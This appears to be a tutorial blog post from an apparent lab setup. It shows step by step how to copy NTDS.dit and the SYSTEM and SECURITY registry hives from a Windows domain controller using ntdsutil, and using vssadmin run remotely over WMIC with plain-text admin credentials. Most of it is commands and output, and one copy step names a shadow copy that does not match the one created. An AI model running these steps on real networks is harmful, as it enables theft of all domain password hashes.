I have referred to the following bookmarked URL in the past as a reminder on how to easily obtain the NTDS.dit and SYSTEM registry for analysis.
Obtaining NTDS.Dit Using In-Built Windows Commands
https://www.cyberis.co.uk/2014/02/obtaining-ntdsdit-using-in-built.html
I revisit this URL and document additional ways to obtain NTDS.dit and the Windows Registry files but also how to extract the password hashes. Additional methods on obtaining the password hashes from the Domain Controller will also be listed.
One item I would change about the commands provided is I would combine them to run as one long command
C:\ntdsutil “activate instance ntds” ifm “create full c:\temp” quit quit
This would place a backup of the NTDS.dit and the SYSTEM and SECURITY registry files in C:\temp\Active Directory and C:\temp\registry
From this bookmark I will document all the ways I have obtained the password hashes from a Domain Controller.
More ntdsutil
You can use ntdsutil to determine if there has been a previous snapshot created. If a snapshot exists then the shadow volume can be mounted and the NTDS.dit and registry files copied.
C:\Users\Administrator>ntdsutil snapshot "list all"
ntdsutil: snapshot
snapshot: list all
1: 2019/01/02:21:40 {ff29f1b4-5dac-41cd-a592-10c553595a95}
2: C: {29e45139-0e71-47eb-a48f-2e6848d05908}C:\Users\Administrator>reg query hklm\system\currentcontrolset\services\ntds\parameters
HKEY_LOCAL_MACHINE\system\currentcontrolset\services\ntds\parameters
. . . SNIP . . .
Name,CN=Sites,CN=Configuration,DC=corp,DC=jedge,DC=com
DsaOptions REG_SZ 1
DSA Working Directory REG_SZ C:\Windows\NTDS
DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit
Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak
. . . SNIP . . .
C:\Users\Administrator>ntdsutil snapshot "mount {29e45139-0e71-47eb-a48f-2e6848d05908}"
ntdsutil: snapshot
snapshot: mount {29e45139-0e71-47eb-a48f-2e6848d05908}
Snapshot {29e45139-0e71-47eb-a48f-2e6848d05908} mounted as C:\$SNAP_201901022140_VOLUMEC$\
C:\Users\Administrator>copy C:\$SNAP_201901022140_VOLUMEC$\Windows\NTDS\ntds.dit c:\temp\ntds.dit
1 file(s) copied.
C:\Users\Administrator>copy C:\$SNAP_201901022140_VOLUMEC$\Windows\System32\Config\SYSTEM c:\temp\SYSTEM
1 file(s) copied.
C:\Users\Administrator>copy C:\$SNAP_201901022140_VOLUMEC$\Windows\System32\Config\SECURITY c:\temp\SECURITY
1 file(s) copied.
VSSADMIN over WMIC
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin
https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmic
We will need to read the output of the WMIC commands and access the files we copy from the shadow volumn so we mount the Domain Controller hard disk and create a temp folder.
C:\Users\Administrator>net use \\192.168.50.10\C$ "Password5" /u:CORP\administrator
The command completed successfully.
C:\Users\Administrator>mkdir \\192.168.50.10\C$\temp
A subdirectory or file \\192.168.50.10\C$\temp already exists.We use the WMIC command to identify any existing shadow volumns or create our own so we can copy the NTDS.dit and registry files to the temp folder where we can transfer them to our workstation.
C:\Users\Administrator>wmic /node:192.168.50.10 /user:CORP\Administrator /password:Password5 process call create "cmd /c vssadmin list shadows 2>&1 > C:\temp\checkshadow.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2568;
ReturnValue = 0;
};
C:\Users\Administrator>type \\192.168.50.10\C$\temp\checkshadow.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Contents of shadow copy set ID: {ff29f1b4-5dac-41cd-a592-10c553595a95}
Contained 1 shadow copies at creation time: 1/2/2019 9:40:13 PM
Shadow Copy ID: {29e45139-0e71-47eb-a48f-2e6848d05908}
Original Volume: (C:)\\?\Volume{874968c4-ed3a-11e6-bee8-806e6f6e6963}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Originating Machine: WIN-PJ59SLGOBUG.corp.jedge.com
Service Machine: WIN-PJ59SLGOBUG.corp.jedge.com
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ApplicationRollback
Attributes: Persistent, No auto release, Differential, Exposed locally,
Auto recovered
C:\Users\Administrator>wmic /node:192.168.50.10 /user:CORP\Administrator /password:Password5 process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\temp\output.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2564;
ReturnValue = 0;
};
C:\Users\Administrator>type \\192.168.50.10\C$\temp\output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {3a6b62ff-3e5c-4b86-868c-2e26355d490a}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2C:\Users\Administrator>wmic /node:192.168.50.10 /user:CORP\Administrator /password:Password5 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\temp\SYSTEM.hive 2>&1 > C:\temp\output.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1248;
ReturnValue = 0;
};
C:\Users\Administrator>wmic /node:192.168.50.10 /user:CORP\Administrator /password:Password5 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SECURITY C:\temp\SECURITY.hive 2>&1 > C:\temp\output.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 232;
ReturnValue = 0;
};
C:\Users\Administrator>wmic /node:192.168.50.10 /user:CORP\Administrator /password:Password5 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy45\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1804;
ReturnValue = 0;
};
C:\Users\Administrator>dir \\192.168.50.10\C$\temp
Volume in drive \\192.168.50.10\C$ has no label.
Volume Serial Number is 54AC-A84F
Directory of \\192.168.50.10\C$\temp
01/07/2019 02:15 PM <DIR> .
01/07/2019 02:15 PM <DIR> ..
01/07/2019 01:57 PM 801 checkshadow.txt
01/02/2019 09:40 PM 16,793,600 ntds.dit
01/07/2019 02:14 PM 44 output.txt
01/03/2019 05:56 PM 262,144 SECURITY.hive
01/07/2019 02:05 PM 8,650,752 SYSTEM.hive
5 File(s) 25,707,341 bytes
2 Dir(s) 12,779,933,696 bytes freeto be continued . . .
